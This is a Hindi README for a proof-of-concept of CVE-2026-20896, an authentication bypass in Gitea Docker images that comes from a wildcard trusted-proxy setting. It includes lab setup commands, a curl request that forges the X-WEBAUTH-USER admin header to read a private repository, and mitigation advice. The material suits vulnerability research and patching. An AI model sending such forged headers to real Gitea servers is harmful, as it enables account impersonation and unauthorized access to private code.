
CVE-2026-20896 — Updated!
Gitea Docker छवि प्रमाणीकरण बाईपास
CVE-2026-20896: Gitea Docker इमेज प्रमाणीकरण बाईपास PoC
[!WARNING] इस PoC का उपयोग केवल स्थानीय लैब में या ऐसी प्रणाली के विरुद्ध करें जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया हो।
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
अवलोकन
CVE-2026-20896 प्रभावित आधिकारिक Gitea Docker इमेज में एक प्रमाणीकरण बाईपास है। जब रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होता है, तो इमेज-जनरेटेड REVERSE_PROXY_TRUSTED_PROXIES = * सेटिंग एक क्लाइंट को, जो Gitea बैकएंड तक पहुंच सकता है, X-WEBAUTH-USER हेडर के माध्यम से किसी मौजूदा उपयोगकर्ता का रूप धारण करने की अनुमति देती है।
लैब gitea-admin नामक एक व्यवस्थापक बनाता है जिसमें एक यादृच्छिक पासवर्ड होता है और CVE-2026-20896_AUTH_BYPASS_CONFIRMED को निजी रिपॉजिटरी gitea-admin/private-proof में संग्रहीत करता है। उस फ़ाइल को यादृच्छिक व्यवस्थापक पासवर्ड जाने बिना पढ़ना बाईपास को प्रदर्शित करता है।
प्रभावित संस्करण
| श्रेणी | संस्करण |
|---|---|
| कमजोर | आधिकारिक gitea/gitea Docker इमेज ≤ 1.26.2 |
| पहला पैच किया गया | 1.26.3 |
| अनुशंसित | 1.26.4 या बाद का |
कमजोर कॉन्फ़िगरेशन के लिए रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होना चाहिए और Gitea बैकएंड सीधे पहुंच योग्य होना चाहिए, या एक अपस्ट्रीम प्रॉक्सी को हमलावर-आपूर्ति पहचान हेडर को संरक्षित करना चाहिए। इस स्थानीय पुनरुत्पादन के लिए रिवर्स-प्रॉक्सी कंटेनर की आवश्यकता नहीं है।
वातावरण
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea और निजी प्रमाण रिपॉजिटरी को प्रारंभ करने के लिए कुछ सेकंड प्रतीक्षा करें।
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
सफल शोषण CVE-2026-20896_AUTH_BYPASS_CONFIRMED लौटाता है।
Python
python poc.py http://127.0.0.1:3000
स्क्रिप्ट बिना प्रमाणीकरण के, गैर-व्यवस्थापक, और जाली व्यवस्थापक अनुरोधों की तुलना करती है और जब प्राधिकरण बाईपास की पुष्टि होती है तो VULNERABLE प्रिंट करती है। इसके लिए Python 3.10 या बाद का संस्करण आवश्यक है और यह केवल मानक लाइब्रेरी का उपयोग करती है।
प्रभाव
- ज्ञात या अनुमान लगाने योग्य Gitea उपयोगकर्ताओं का रूप धारण करना
- निजी रिपॉजिटरी और उपयोगकर्ता संसाधनों तक अनधिकृत पहुंच
- जब किसी व्यवस्थापक खाते का रूप धारण किया जाता है तो व्यवस्थापकीय क्रियाएं
शमन
- Gitea 1.26.3 या बाद के संस्करण में अपग्रेड करें; 1.26.4 या बाद का संस्करण अनुशंसित है।
REVERSE_PROXY_TRUSTED_PROXIESको विश्वसनीय प्रॉक्सी पतों तक सीमित करें।- Gitea बैकएंड तक सीधी पहुंच रोकें और बाहरी रूप से आपूर्ति किए गए पहचान हेडर को अधिलेखित करें।
- जब आवश्यक न हो तो रिवर्स-प्रॉक्सी प्रमाणीकरण अक्षम करें।
सफाई
docker stop cve-2026-20896-gitea-vuln